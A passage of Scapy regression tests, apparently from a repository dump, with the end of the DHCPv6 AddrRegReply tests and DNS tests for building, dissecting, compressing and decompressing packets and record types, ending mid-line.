DHCP6_AddrRegInform)\n\n############\n############\n+ Test DHCP6 Messages - DHCP6_AddrRegReply\n\n= DHCP6_AddrRegReply - Basic Instantiation\nraw(DHCP6_AddrRegReply()) == b'\\x25\\x00\\x00\\x00'\n\n= DHCP6_AddrRegReply - Basic Dissection\na = DHCP6_AddrRegReply(b'\\x25\\x00\\x00\\x00')\na.msgtype == 37 and a.trid == 0\n\n= DHCP6_AddrRegReply - Basic test of DHCP6_addrregreply.hashret()\nDHCP6_AddrRegReply().hashret() == b'\\x00\\x00\\x00'\n\n= DHCP6_AddrRegReply - Test of DHCP6_addrregreply.hashret() with specific values\nDHCP6_AddrRegReply(trid=0xbbccdd).hashret() == b'\\xbb\\xcc\\xdd'\n\n= DHCP6_AddrRegReply - UDP ports overload\na=UDP()/DHCP6_AddrRegReply()\na.sport == 546 and a.dport == 547\n\n= DHCP6_AddrRegReply - Dispatch based on UDP port\na=UDP(raw(UDP()/DHCP6_AddrRegReply()))\nisinstance(a.payload, DHCP6_AddrRegReply)\n"
  },
  {
    "path": "test/scapy/layers/dns.uts",
    "content": "% DNS regression tests for Scapy\n\n+ DNS\n~dns\n\n= DNS request\n~ netaccess needs_root IP UDP DNS\n* A possible cause of failure could be that the open DNS (resolver1.opendns.com)\n* is not reachable or down.\ndef _test():\n    old_debug_dissector = conf.debug_dissector\n    conf.debug_dissector = False\n    dns_ans = sr1(IP(dst=\"resolver1.opendns.com\")/UDP()/DNS(rd=1,qd=DNSQR(qname=\"www.slashdot.com\")),timeout=5)\n    conf.debug_dissector = old_debug_dissector\n    DNS in dns_ans\n    return dns_ans\n\ndns_ans = retry_test(_test)\n\n= DNS request using dns_resolve\n~ netaccess DNS\n* this is not using a raw socket so should also work without root\n\nval = dns_resolve(qname=\"google.com\", qtype=\"A\")\nassert val\nassert inet_pton(socket.AF_INET, val[0].rdata)\nassert val == conf.netcache.dns_cache[b'google.com.;\\x01']\n\nval = dns_resolve(qname=\"google.com\", qtype=\"AAAA\")\nassert val\nassert inet_pton(socket.AF_INET6, val[0].rdata)\nassert val == conf.netcache.dns_cache[b'google.com.;\\x1c']\n\n= DNS labels\n~ DNS\nquery = DNSQR(qname=b\"www.secdev.org\")\nassert query.qname == query.__class__(raw(query)).qname\n\n= DNS packet manipulation\n~ netaccess needs_root IP UDP DNS\ndns_ans.show()\ndns_ans.show2()\ndns_ans[DNS].an[0].show()\ndns_ans2 = IP(raw(dns_ans))\nDNS in dns_ans2\nassert raw(dns_ans2) == raw(dns_ans)\ndns_ans2.qd[0].qname = \"www.secdev.org.\"\n* We need to recalculate these values\ndel dns_ans2[IP].len\ndel dns_ans2[IP].chksum\ndel dns_ans2[UDP].len\ndel dns_ans2[UDP].chksum\nassert b\"\\x03www\\x06secdev\\x03org\\x00\" in raw(dns_ans2)\nassert DNS in IP(raw(dns_ans2))\nassert raw(DNSRR(type='A', rdata='1.2.3.4')) == b'\\x00\\x00\\x01\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x04\\x01\\x02\\x03\\x04'\n\n* DNS over UDP\npkt = IP(raw(IP(src=\"10.0.0.1\", dst=\"8.8.8.8\")/UDP(sport=RandShort(), dport=53)/DNS(qd=DNSQR(qname=\"secdev.org.\"))))\nassert UDP in pkt and isinstance(pkt[UDP].payload, DNS)\nassert pkt[UDP].dport == 53 and pkt[UDP].length is None\nassert pkt[DNS].qdcount == 1 and pkt[DNS].qd[0].qname == b\"secdev.org.\"\n\n* DNS over TCP\npkt = IP(raw(IP(src=\"10.0.0.1\", dst=\"8.8.8.8\")/TCP(sport=RandShort(), dport=53, flags=\"P\")/DNS(qd=DNSQR(qname=\"secdev.org.\"))))\nassert TCP in pkt and isinstance(pkt[TCP].payload, DNS)\nassert pkt[TCP].dport == 53 and pkt[DNS].length is not None\nassert pkt[DNS].qdcount == 1 and pkt[DNS].qd[0].qname == b\"secdev.org.\"\n\n= DNS frame with advanced decompression\n~ dns\n\na = b'\\x01\\x00^\\x00\\x00\\xfb$\\xa2\\xe1\\x90\\xa9]\\x08\\x00E\\x00\\x01P\\\\\\xdd\\x00\\x00\\xff\\x11\\xbb\\x93\\xc0\\xa8\\x00\\x88\\xe0\\x00\\x00\\xfb\\x14\\xe9\\x14\\xe9\\x01<*\\x81\\x00\\x00\\x84\\x00\\x00\\x00\\x00\\x03\\x00\\x00\\x00\\x04\\x01B\\x019\\x015\\x019\\x013\\x014\\x017\\x013\\x016\\x017\\x010\\x012\\x010\\x01D\\x018\\x011\\x010\\x010\\x010\\x010\\x010\\x010\\x010\\x010\\x010\\x010\\x010\\x010\\x010\\x018\\x01E\\x01F\\x03ip6\\x04arpa\\x00\\x00\\x0c\\x80\\x01\\x00\\x00\\x00x\\x00\\x0f\\x07Zalmoid\\x05local\\x00\\x011\\x01A\\x019\\x014\\x017\\x01E\\x01A\\x014\\x01B\\x01A\\x01F\\x01B\\x012\\x011\\x014\\x010\\x010\\x016\\x01E\\x01F\\x017\\x011\\x01F\\x012\\x015\\x013\\x01E\\x010\\x011\\x010\\x01A\\x012\\xc0L\\x00\\x0c\\x80\\x01\\x00\\x00\\x00x\\x00\\x02\\xc0`\\x03136\\x010\\x03168\\x03192\\x07in-addr\\xc0P\\x00\\x0c\\x80\\x01\\x00\\x00\\x00x\\x00\\x02\\xc0`\\xc0\\x0c\\x00/\\x80\\x01\\x00\\x00\\x00x\\x00\\x06\\xc0\\x0c\\x00\\x02\\x00\\x08\\xc0o\\x00/\\x80\\x01\\x00\\x00\\x00x\\x00\\x06\\xc0o\\x00\\x02\\x00\\x08\\xc0\\xbd\\x00/\\x80\\x01\\x00\\x00\\x00x\\x00\\x06\\xc0\\xbd\\x00\\x02\\x00\\x08\\x00\\x00)\\x05\\xa0\\x00\\x00\\x11\\x94\\x00\\x12\\x00\\x04\\x00\\x0e\\x00\\xc1&\\xa2\\xe1\\x90\\xa9]$\\xa2\\xe1\\x90\\xa9]'\npkt = Ether(a)\nassert pkt.ancount == 3\nassert pkt.arcount == 4\nassert pkt.an[1].rdata == b'Zalmoid.local.'\nassert pkt.an[1].rdlen is None\nassert pkt.an[2].rdata == b'Zalmoid.local.'\nassert pkt.an[2].rdlen is None\nassert pkt.ar[1].nextname == b'1.A.9.4.7.E.A.4.B.A.F.B.2.1.4.0.0.6.E.F.7.1.F.2.5.3.E.0.1.0.A.2.ip6.arpa.'\nassert pkt.ar[2].nextname == b'136.0.168.192.in-addr.arpa.'\npkt.show()\n\n= DNS frame with DNSRRSRV\n~ dns\n\nb = Ether(b'33\\x00\\x00\\x00\\xfb$\\xe3\\x14M\\x84\\xc0\\x86\\xdd`\\t\\xc0f\\x02b\\x11\\xff\\xfe\\x80\\x00\\x00\\x00\\x00\\x00\\x00\\x04*,\\x03\\xab+/\\x14\\xff\\x02\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xfb\\x14\\xe9\\x14\\xe9\\x02b_\\xd8\\x00\\x00\\x84\\x00\\x00\\x00\\x00\\x0b\\x00\\x00\\x00\\x06\\x014\\x011\\x01F\\x012\\x01B\\x012\\x01B\\x01A\\x013\\x010\\x01C\\x012\\x01A\\x012\\x014\\x010\\x010\\x010\\x010\\x010\\x010\\x010\\x010\\x010\\x010\\x010\\x010\\x010\\x010\\x018\\x01E\\x01F\\x03ip6\\x04arpa\\x00\\x00\\x0c\\x80\\x01\\x00\\x00\\x00x\\x00\\x14\\x0csCapys-fLuff\\x05local\\x00\\x03177\\x010\\x03168\\x03192\\x07in-addr\\xc0P\\x00\\x0c\\x80\\x01\\x00\\x00\\x00x\\x00\\x02\\xc0`\\x01E\\x01F\\x017\\x01D\\x01B\\x018\\x014\\x01C\\x014\\x01B\\x016\\x01E\\x015\\x017\\x018\\x010\\x010\\x016\\x01E\\x01F\\x017\\x011\\x01F\\x012\\x015\\x013\\x01E\\x010\\x011\\x010\\x01A\\x012\\xc0L\\x00\\x0c\\x80\\x01\\x00\\x00\\x00x\\x00\\x02\\xc0`+24:e3:14:4d:84:c0@fe80::26e3:14ff:fe4d:84c0\\x0e_apple-mobdev2\\x04_tcp\\xc0m\\x00\\x10\\x80\\x01\\x00\\x00\\x11\\x94\\x00\\x01\\x00\\t_services\\x07_dns-sd\\x04_udp\\xc0m\\x00\\x0c\\x00\\x01\\x00\\x00\\x11\\x94\\x00\\x02\\xc1\\x12\\x08521805b3\\x04_sub\\xc1\\x12\\x00\\x0c\\x00\\x01\\x00\\x00\\x11\\x94\\x00\\x02\\xc0\\xe6\\xc1\\x12\\x00\\x0c\\x00\\x01\\x00\\x00\\x11\\x94\\x00\\x02\\xc0\\xe6\\xc0\\xe6\\x00!\\x80\\x01\\x00\\x00\\x00x\\x00\\x08\\x00\\x00\\x00\\x00~\\xf2\\xc0`\\xc0`\\x00\\x1c\\x80\\x01\\x00\\x00\\x00x\\x00\\x10\\xfe\\x80\\x00\\x00\\x00\\x00\\x00\\x00\\x04*,\\x03\\xab+/\\x14\\xc0`\\x00\\x01\\x80\\x01\\x00\\x00\\x00x\\x00\\x04\\xc0\\xa8\\x00\\xb1\\xc0`\\x00\\x1c\\x80\\x01\\x00\\x00\\x00x\\x00\\x10*\\x01\\x0e5/\\x17\\xfe`\\x08u\\xe6\\xb4\\xc4\\x8b\\xd7\\xfe\\xc0\\x0c\\x00/\\x80\\x01\\x00\\x00\\x00x\\x00\\x06\\xc0\\x0c\\x00\\x02\\x00\\x08\\xc0t\\x00/\\x80\\x01\\x00\\x00\\x00x\\x00\\x06\\xc0t\\x00\\x02\\x00\\x08\\xc0\\x98\\x00/\\x80\\x01\\x00\\x00\\x00x\\x00\\x06\\xc0\\x98\\x00\\x02\\x00\\x08\\xc0\\xe6\\x00/\\x80\\x01\\x00\\x00\\x11\\x94\\x00\\t\\xc0\\xe6\\x00\\x05\\x00\\x00\\x80\\x00@\\xc0`\\x00/\\x80\\x01\\x00\\x00\\x00x\\x00\\x08\\xc0`\\x00\\x04@\\x00\\x00\\x08\\x00\\x00)\\x05\\xa0\\x00\\x00\\x11\\x94\\x00\\x12\\x00\\x04\\x00\\x0e\\x00\\xcf&\\xe3\\x14M\\x84\\xc0$\\xe3\\x14M\\x84\\xc0')\nassert isinstance(b.an[7], DNSRRSRV)\nassert b.an[7].target == b'sCapys-fLuff.local.'\nassert b.an[6].rrname == b'_apple-mobdev2._tcp.local.'\nassert b.an[6].rdata == b'24:e3:14:4d:84:c0@fe80::26e3:14ff:fe4d:84c0._apple-mobdev2._tcp.local.'\n\n= DNS frame with decompression hidden args\n~ dns\n\nc = b'\\x01\\x00^\\x00\\x00\\xfb\\x14\\x0cv\\x8f\\xfe(\\x08\\x00E\\x00\\x01C\\xe3\\x91@\\x00\\xff\\x11\\xf4u\\xc0\\xa8\\x00\\xfe\\xe0\\x00\\x00\\xfb\\x14\\xe9\\x14\\xe9\\x01/L \\x00\\x00\\x84\\x00\\x00\\x00\\x00\\x04\\x00\\x00\\x00\\x00\\x05_raop\\x04_tcp\\x05local\\x00\\x00\\x0c\\x00\\x01\\x00\\x00\\x11\\x94\\x00\\x1e\\x1b140C768FFE28@Freebox Server\\xc0\\x0c\\xc0(\\x00\\x10\\x80\\x01\\x00\\x00\\x11\\x94\\x00\\xa0\\ttxtvers=1\\x08vs=190.9\\x04ch=2\\x08sr=44100\\x05ss=16\\x08pw=false\\x06et=0,1\\x04ek=1\\ntp=TCP,UDP\\x13am=FreeboxServer1,2\\ncn=0,1,2,3\\x06md=0,2\\x07sf=0x44\\x0bft=0xBF0A00\\x08sv=false\\x07da=true\\x08vn=65537\\x04vv=2\\xc0(\\x00!\\x80\\x01\\x00\\x00\\x00x\\x00\\x19\\x00\\x00\\x00\\x00\\x13\\x88\\x10Freebox-Server-3\\xc0\\x17\\xc1\\x04\\x00\\x01\\x80\\x01\\x00\\x00\\x00x\\x00\\x04\\xc0\\xa8\\x00\\xfe'\npkt = Ether(c)\nassert DNS in pkt\nassert pkt.an[0].rdata == b'140C768FFE28@Freebox Server._raop._tcp.local.'\nassert pkt.an[1].rdata == [b'txtvers=1', b'vs=190.9', b'ch=2', b'sr=44100', b'ss=16', b'pw=false', b'et=0,1', b'ek=1', b'tp=TCP,UDP', b'am=FreeboxServer1,2', b'cn=0,1,2,3', b'md=0,2', b'sf=0x44', b'ft=0xBF0A00', b'sv=false', b'da=true', b'vn=65537', b'vv=2']\nassert pkt.an[2].rrname == b'140C768FFE28@Freebox Server._raop._tcp.local.'\nassert pkt.an[2].port == 5000\nassert pkt.an[2].target == b'Freebox-Server-3.local.'\nassert pkt.an[3].rrname == b'Freebox-Server-3.local.'\nassert pkt.an[3].rdata == '192.168.0.254'\n\n= Other compressed DNS\n~ dns\ns = b'\\x00\\x00\\x84\\x00\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x06\\x0bGourmandise\\x04_smb\\x04_tcp\\x05local\\x00\\x00!\\x80\\x01\\x00\\x00\\x00x\\x00\\x14\\x00\\x00\\x00\\x00\\x01\\xbd\\x0bGourmandise\\xc0\"\\x0bGourmandise\\x0b_afpovertcp\\xc0\\x1d\\x00!\\x80\\x01\\x00\\x00\\x00x\\x00\\x08\\x00\\x00\\x00\\x00\\x02$\\xc09\\xc09\\x00\\x1c\\x80\\x01\\x00\\x00\\x00x\\x00\\x10\\xfe\\x80\\x00\\x00\\x00\\x00\\x00\\x00\\x00s#\\x99\\xca\\xf7\\xea\\xdc\\xc09\\x00\\x01\\x80\\x01\\x00\\x00\\x00x\\x00\\x04\\xc0\\xa8\\x01x\\xc09\\x00\\x1c\\x80\\x01\\x00\\x00\\x00x\\x00\\x10*\\x01\\xcb\\x00\\x0bD\\x1f\\x00\\x18k\\xb1\\x99\\x90\\xdf\\x84.\\xc0\\x0c\\x00/\\x80\\x01\\x00\\x00\\x00x\\x00\\t\\xc0\\x0c\\x00\\x05\\x00\\x00\\x80\\x00@\\xc0G\\x00/\\x80\\x01\\x00\\x00\\x00x\\x00\\t\\xc0G\\x00\\x05\\x00\\x00\\x80\\x00@\\xc09\\x00/\\x80\\x01\\x00\\x00\\x00x\\x00\\x08\\xc09\\x00\\x04@\\x00\\x00\\x08'\npkt = DNS(s)\nassert [x.rrname for x in pkt.ar] == [\n    b'Gourmandise.local.',\n    b'Gourmandise.local.',\n    b'Gourmandise.local.',\n    b'Gourmandise._smb._tcp.local.',\n    b'Gourmandise._afpovertcp._tcp.local.',\n    b'Gourmandise.local.'\n]\n\n= DNS advanced building\n~ dns\n\npkt = DNS(qr=1, qd=[], aa=1, rd=1)\npkt.an = [\n    DNSRR(type=12, rrname='_raop._tcp.local.', rdata='140C768FFE28@Freebox Server._raop._tcp.local.'),\n    DNSRR(rrname='140C768FFE28@Freebox Server._raop._tcp.local.', type=16, rdata=[b'txtvers=1', b'vs=190.9', b'ch=2', b'sr=44100', b'ss=16', b'pw=false', b'et=0,1', b'ek=1', b'tp=TCP,UDP', b'am=FreeboxServer1,2', b'cn=0,1,2,3', b'md=0,2', b'sf=0x44', b'ft=0xBF0A00', b'sv=false', b'da=true', b'vn=65537', b'vv=2']),\n    DNSRRSRV(rrname='140C768FFE28@Freebox Server._raop._tcp.local.', target='Freebox-Server-3.local.', port=5000, type=33, cacheflush=1, rclass=1),\n    DNSRR(rrname='Freebox-Server-3.local.', rdata='192.168.0.254', cacheflush=1, rclass=1, type=1, ttl=120),\n]\n\npkt = DNS(raw(pkt))\n\nassert DNSRRSRV in pkt.an[2]\nassert pkt.an[2][DNSRRSRV].target == b'Freebox-Server-3.local.'\nassert pkt.an[2][DNSRRSRV].rrname == b'140C768FFE28@Freebox Server._raop._tcp.local.'\n\nassert pkt.an[3].rrname == b'Freebox-Server-3.local.'\nassert pkt.an[3].rdata == '192.168.0.254'\n\n= Basic DNS Compression\n~ dns\n\nassert len(pkt) == 426\n\nz = pkt.compress()\n\nassert len(z) == 295\nassert z.an[0].rrname == b'_raop._tcp.local.'\nassert z.an[0].rdata == b'\\x1b140C768FFE28@Freebox Server\\xc0\\x0c'\nassert z.an[1].rrname == z.an[2].rrname == b'\\xc0('\nassert z.an[2].target == b'\\x10Freebox-Server-3\\xc0\\x17'\nassert z.an[3].rrname == b'\\xc1\\x04'\n\nraw(z)\n\nassert raw(z) == b'\\x00\\x00\\x85\\x00\\x00\\x00\\x00\\x04\\x00\\x00\\x00\\x00\\x05_raop\\x04_tcp\\x05local\\x00\\x00\\x0c\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x1e\\x1b140C768FFE28@Freebox Server\\xc0\\x0c\\xc0(\\x00\\x10\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\xa0\\ttxtvers=1\\x08vs=190.9\\x04ch=2\\x08sr=44100\\x05ss=16\\x08pw=false\\x06et=0,1\\x04ek=1\\ntp=TCP,UDP\\x13am=FreeboxServer1,2\\ncn=0,1,2,3\\x06md=0,2\\x07sf=0x44\\x0bft=0xBF0A00\\x08sv=false\\x07da=true\\x08vn=65537\\x04vv=2\\xc0(\\x00!\\x80\\x01\\x00\\x00\\x00\\x00\\x00\\x19\\x00\\x00\\x00\\x00\\x13\\x88\\x10Freebox-Server-3\\xc0\\x17\\xc1\\x04\\x00\\x01\\x80\\x01\\x00\\x00\\x00x\\x00\\x04\\xc0\\xa8\\x00\\xfe'\n\nrecompressed = DNS(raw(z))\nrecompressed.clear_cache()\nrecompressed.an[0].rdlen = None\nrecompressed.an[1].rdlen = None\nrecompressed.an[2].rdlen = None\nrecompressed.an[3].rdlen = None\n\nassert raw(recompressed) == raw(pkt)\n\n= DNS cache clearance on sub change\n~ dns\n\n# GH4216\np = DNS(b'\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x00\\x03H-1\\x05local\\x00\\x00\\x05\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x06\\x03H-2\\xc0\\x10\\xc0!\\x00\\x05\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x02\\xc0\\x0c')\np[DNS].an[0].rrname = 'H'\nassert p.raw_packet_cache is None\nassert bytes(p) == b'\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x00\\x01H\\x00\\x00\\x05\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x0b\\x03H-2\\x05local\\x00\\x03H-2\\x05local\\x00\\x00\\x05\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x0b\\x03H-1\\x05local\\x00'\n\n= DNS frames with MX records\n~ dns\n\nframe = b'E\\x00\\x00\\xa4\\x93\\x1d\\x00\\x00y\\x11\\xdc\\xfc\\x08\\x08\\x08\\x08\\xc0\\xa8\\x00w\\x005\\xb4\\x9b\\x00\\x90k\\x80\\x00\\x00\\x81\\x80\\x00\\x01\\x00\\x05\\x00\\x00\\x00\\x00\\x06google\\x03com\\x00\\x00\\x0f\\x00\\x01\\xc0\\x0c\\x00\\x0f\\x00\\x01\\x00\\x00\\x02B\\x00\\x11\\x00\\x1e\\x04alt2\\x05aspmx\\x01l\\xc0\\x0c\\xc0\\x0c\\x00\\x0f\\x00\\x01\\x00\\x00\\x02B\\x00\\t\\x00\\x14\\x04alt1\\xc0/\\xc0\\x0c\\x00\\x0f\\x00\\x01\\x00\\x00\\x02B\\x00\\t\\x002\\x04alt4\\xc0/\\xc0\\x0c\\x00\\x0f\\x00\\x01\\x00\\x00\\x02B\\x00\\t\\x00(\\x04alt3\\xc0/\\xc0\\x0c\\x00\\x0f\\x00\\x01\\x00\\x00\\x02B\\x00\\x04\\x00\\n\\xc0/'\npkt = IP(frame)\nresults = [x.exchange for x in pkt.an]\nassert results == [b'alt2.aspmx.l.google.com.', b'alt1.aspmx.l.google.com.', b'alt4.aspmx.l.google.com.', b'alt3.aspmx.l.google.com.', b'aspmx.l.google.com.']\n\npkt.clear_cache()\nassert raw(dns_compress(pkt)) == frame\n\n= DNS frame with typebitmaps\n~ dns\n\ncompressed_pkt =  b'\\x01\\x00^\\x00\\x00\\xfb\\xa0\\x10\\x81\\xd9\\xd3y\\x08\\x00E\\x00\\x01\\x14\\\\\\n@\\x00\\xff\\x116n\\xc0\\xa8F\\xbc\\xe0\\x00\\x00\\xfb\\x14\\xe9\\x14\\xe9\\x01\\x00Ho\\x00\\x00\\x84\\x00\\x00\\x00\\x00\\x04\\x00\\x00\\x00\\x03\\x03188\\x0270\\x03168\\x03192\\x07in-addr\\x04arpa\\x00\\x00\\x0c\\x80\\x01\\x00\\x00\\x00x\\x00\\x0f\\x07Android\\x05local\\x00\\x019\\x017\\x013\\x01D\\x019\\x01D\\x01E\\x01F\\x01F\\x01F\\x011\\x018\\x010\\x011\\x012\\x01A\\x010\\x010\\x010\\x010\\x010\\x010\\x010\\x010\\x010\\x010\\x010\\x010\\x010\\x018\\x01E\\x01F\\x03ip6\\xc0#\\x00\\x0c\\x80\\x01\\x00\\x00\\x00x\\x00\\x02\\xc03\\xc03\\x00\\x01\\x80\\x01\\x00\\x00\\x00x\\x00\\x04\\xc0\\xa8F\\xbc\\xc03\\x00\\x1c\\x80\\x01\\x00\\x00\\x00x\\x00\\x10\\xfe\\x80\\x00\\x00\\x00\\x00\\x00\\x00\\xa2\\x10\\x81\\xff\\xfe\\xd9\\xd3y\\xc0\\x0c\\x00/\\x80\\x01\\x00\\x00\\x00x\\x00\\x06\\xc0\\x0c\\x00\\x02\\x00\\x08\\xc0B\\x00/\\x80\\x01\\x00\\x00\\x00x\\x00\\x06\\xc0B\\x00\\x02\\x00\\x08\\xc03\\x00/\\x80\\x01\\x00\\x00\\x00x\\x00\\x08\\xc03\\x00\\x04@\\x00\\x00\\x08'\npkt = Ether(compressed_pkt)\nassert pkt.ar[2].nextname == b\"Android.local.\"\nassert pkt.ar[2].sprintf(\"%typebitmaps%\") == \"['A', 'AAAA']\"\n\n= Advanced dns_get_str tests\n~ dns\n\nfull = b\"\\x06cheese\\x00blobofdata....\\x06hamand\\xc0\\x00\"\nassert dns_get_str(full[22:], full=full)[0] == b'hamand.cheese.'\n\n= Decompression loop in dns_get_str\n~ dns\n\nfull = b\"\\x04data\\xc0\\x00\"\nassert dns_get_str(full, full=full)[0] == b\"data.data.\"\n\n= Prematured end in dns_get_str\n~ dns\n\nassert dns_get_str(b\"\\x06da\", 0)[0] == b\"da.\"\n\nfull = b\"\\x04data\\xc0\\x0f\"\nassert dns_get_str(full, full=full)[0] == b\"data.\"\n\n\n= DNS record type 13 (HINFO)\n\nb = b'\\x00\\x00\\r\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x02\\x00\\x00'\n\np = DNSRRHINFO()\nassert raw(p) == b\n\np = DNSRRHINFO(b)\nassert p.cpu == b'' and p.os == b''\n\nb = b'\\x00\\x00\\r\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x06X86_64\\x05LINUX'\n\np = DNSRRHINFO(cpu='X86_64', os='LINUX')\nassert raw(p) == b\n\np = DNSRRHINFO(b)\nassert p.cpu == b'X86_64' and p.os == b'LINUX'\n\nd = DNS(raw(DNS(qd=[],an=[p])))\nassert raw(d.an[0]) == raw(p)\n\n= DNS record type 15 (MX)\n\np = DNS(raw(DNS(qd=[],an=DNSRRMX(exchange='example.com'))))\nassert p.an[0].exchange == b'example.com.'\n\n= DNS record type 16 (TXT)\n\np = DNS(raw(DNS(id=1,ra=1,qd=[],an=DNSRR(rrname='scapy', type='TXT', rdata=\"niceday\", ttl=1))))\nassert p[DNS].an[0].rdata == [b\"niceday\"]\n\np = DNS(raw(DNS(id=1,ra=1,qd=[],an=DNSRR(rrname='secdev', type='TXT', rdata=[\"sweet\", \"celestia\"], ttl=1))))\nassert p[DNS].an[0].rdata == [b\"sweet\", b\"celestia\"]\nassert raw(p) == b'\\x00\\x01\\x01\\x80\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x06secdev\\x00\\x00\\x10\\x00\\x01\\x00\\x00\\x00\\x01\\x00\\x0f\\x05sweet\\x08celestia'\n\n# TXT RR with one empty string\nb = b'\\x05scapy\\x00\\x00\\x10\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x01\\x00'\nrr = DNSRR(b)\nassert rr.rdata == [b\"\"]\nassert rr.rdlen == 1\nrr.clear_cache()\nassert DNSRR(raw(rr)).rdata == [b\"\"]\n\nrr = DNSRR(rrname='scapy', type='TXT', rdata=[\"\"])\nassert raw(rr) == b\n\nrr = DNSRR(rrname='scapy', type='TXT')\nassert raw(rr) == b\n\n# TXT RR with zero-length RDATA\nb = b'\\x05scapy\\x00\\x00\\x10\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00'\nrr = DNSRR(b)\nassert rr.rdata == []\nassert rr.rdlen == 0\nrr.clear_cache()\nassert DNSRR(raw(rr)).rdata == []\n\nrr = DNSRR(rrname='scapy', type='TXT', rdata=[])\nassert raw(rr) == b\n\n= DNS record type 35 (NAPTR)\n\nb = b'\\x00\\x00#\\x00\\x01\\x00\\x00\\x00\\x00\\x00+\\x00\\n\\x00d\\x01u\\x07E2U+sip\\x1b!^.*$!sip:info@example.com!\\x00'\n\np = DNSRRNAPTR(b)\nassert p.order == 10 and p.preference == 100 and p.flags == b'u' and p.services == b'E2U+sip'\nassert p.regexp == b'!^.*$!sip:info@example.com!' and p.replacement == b'.'\n\np = DNSRRNAPTR(order=10, preference=100, flags=\"u\", services=\"E2U+sip\", regexp=\"!^.*$!sip:info@example.com!\")\nassert raw(p) == b\n\n= DNS record type 39 (DNAME)\n\nb = b'\\x05local\\x00\\x00\\x27\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x07\\x05local\\x00'\n\np = DNSRR(b)\nassert p.rrname == b'local.' and p.type == 39 and p.rdata == b'local.'\n\np = DNSRR(rrname=b'local', type='DNAME', rdata='local')\nassert raw(p) == b\n\n# Even though according to https://datatracker.ietf.org/doc/html/rfc6672#section-2.5\n# The DNAME RDATA target name MUST NOT be sent out in compressed form\n# dns_compress compresses it intentionally to make it easier to test\n# DNS-related software that should be able to handle compressed and\n# uncompressed DNAMEs anyway regardless of what the RFC says.\n\n# Make sure it isn't compressed by default\np = DNS(qd=[], an=[DNSRR(rrname='local', type='DNAME', rdata='local')])\nassert raw(p).endswith(b'\\x07\\x05local\\x00')\n\n# Make sure it can parse uncompressed DNAMEs\nrr = DNS(raw(p)).an[0]\nassert rr.rrname == b'local.' and rr.type == 39 and rr.rdata == b'local.'\n\n# Make sure dns_compress compresses DNAME RDATA\ncp = dns_compress(p)\nassert raw(cp).endswith(b'\\x02\\xc0\\x0c')\n\n# Make sure it can parse compressed DNAMEs\nrr = DNS(raw(cp)).an[0]\nassert rr.rrname == b'local.' and rr.type == 39 and rr.rdata == b'local.'\n\n= DNS record type 64, 65 (SVCB, HTTPS)\n\nb = b'\\x00\\x00\\x00\\x04\\x00\\x01\\x00\\x06'\np = SvcParam(b)\nassert p.key == 0 and p.value == [1, 6]\nassert b == raw(SvcParam(key='mandatory', value=['alpn', 'ipv6hint']))\n\nb = b'\\x00\\x01\\x00\\x06\\x02h3\\x02h2'\np = SvcParam(b)\nassert p.key == 1 and p.value == [b'h3', b'h2']\nassert b == raw(SvcParam(key='alpn', value=['h3', 'h2']))\n\nb = b'\\x00\\x02\\x00\\x00'\np = SvcParam(b)\nassert p.key == 2 and p.value == []\nassert b == raw(SvcParam(key='no-default-alpn'))\n\nb = b'\\x00\\x03\\x00\\x02\\x04\\xd2'\np = SvcParam(b)\nassert p.key == 3 and p.value == 1234\nassert b == raw(SvcParam(key='port', value=1234))\n\nb = b'\\x00\\x04\\x00\\x08\\xc0\\xa8\\x00\\x01\\xc0\\xa8\\x00\\x02'\np = SvcParam(b)\nassert p.key == 4 and p.value == ['192.168.0.1', '192.168.0.2']\nassert b == raw(SvcParam(key='ipv4hint', value=['192.168.0.1', '192.168.0.2']))\n\nb = b'\\x00\\x06\\x00\\x10 \\x01\\r\\xb8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01'\np = SvcParam(b)\nassert p.key == 6 and p.value == ['2001:db8::1']\nassert b == raw(SvcParam(key='ipv6hint', value=['2001:db8::1']))\n\nb = b'\\x00\\x07\\x00\\x10/dns-query{?dns}'\np = SvcParam(b)\nassert p.key == 7 and p.value == b'/dns-query{?dns}'\nassert b == raw(SvcParam(key='dohpath', value=b'/dns-query{?dns}'))\n\np = DNSRRSVCB()\nassert p.rrname == b'.' and p.type == 64 and p.svc_priority == 0 and p.svc_params == []\n\np = DNSRRHTTPS()\nassert p.rrname == b'.' and p.type == 65 and p.svc_priority == 0 and p.svc_params == []\n\n# Real-world SVCB RR\nb = b'\\x04_dns\\x03one\\x03one\\x03one\\x03one\\x00\\x00@\\x00\\x01\\x00\\x00\\x01,\\x001\\x00\\x01\\x03one\\x03one\\x03one\\x03one\\x00\\x00\\x01\\x00\\x06\\x02h3\\x02h2\\x00\\x07\\x00\\x10/dns-query{?dns}'\np = DNSRRSVCB(b)\nassert p.type == 64 and p.ttl == 300 and p.svc_priority == 1 and p.target_name == b'one.one.one.one.'\n\nalpn = SvcParam(key='alpn', value=['h3', 'h2'])\ndohpath = SvcParam(key='dohpath', value=b'/dns-query{?dns}')\n\nassert raw(p.svc_params[0]) == raw(alpn)\nassert raw(p.svc_params[1]) == raw(dohpath)\n\nassert b == raw(DNSRRSVCB(rrname='_dns.one.one.one.one', ttl=300, svc_priority=1, target_name='one.one.one.one', svc_params=[alpn, dohpath]))\n\n# Real-world HTTPS RR\nb = 